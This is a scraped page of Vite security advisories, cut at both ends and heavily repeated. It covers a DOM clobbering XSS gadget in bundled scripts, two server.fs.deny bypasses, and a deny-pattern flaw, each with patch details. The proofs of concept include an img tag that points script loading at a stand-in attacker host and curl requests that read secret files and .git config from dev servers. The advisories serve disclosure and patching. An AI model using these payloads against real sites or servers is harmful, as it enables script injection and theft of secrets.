However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

๐Ÿšจ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

๐Ÿšจ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

๐Ÿšจ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

๐Ÿšจ Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

๐Ÿšจ Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

๐Ÿšจ Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

  • with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
  • with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

๐Ÿšจ Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

  • with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
  • with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

๐Ÿšจ Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

  • with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
  • with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

๐Ÿšจ Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

  • with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
  • with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

๐Ÿšจ Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

  • with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
  • with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

๐Ÿšจ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

  1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
  2. Created dummy secret files, e.g. custom.secret and production.pem
  3. Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

  1. curl -s http://20.12.242.81:5173/@fs//
    • Descriptive error page reveals absolute filesystem path to project root
  2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
    • Discoverable configuration file reveals locations of secrets
  3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
    • Secrets are directly accessible using case-augmented version of filename

Proof
Screenshot 2024-01-19 022736

Impact

Who

  • Users with exposed dev servers on environments with case-insensitive filesystems

What

  • Files protected by server.fs.deny are both discoverable, and accessible

๐Ÿšจ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

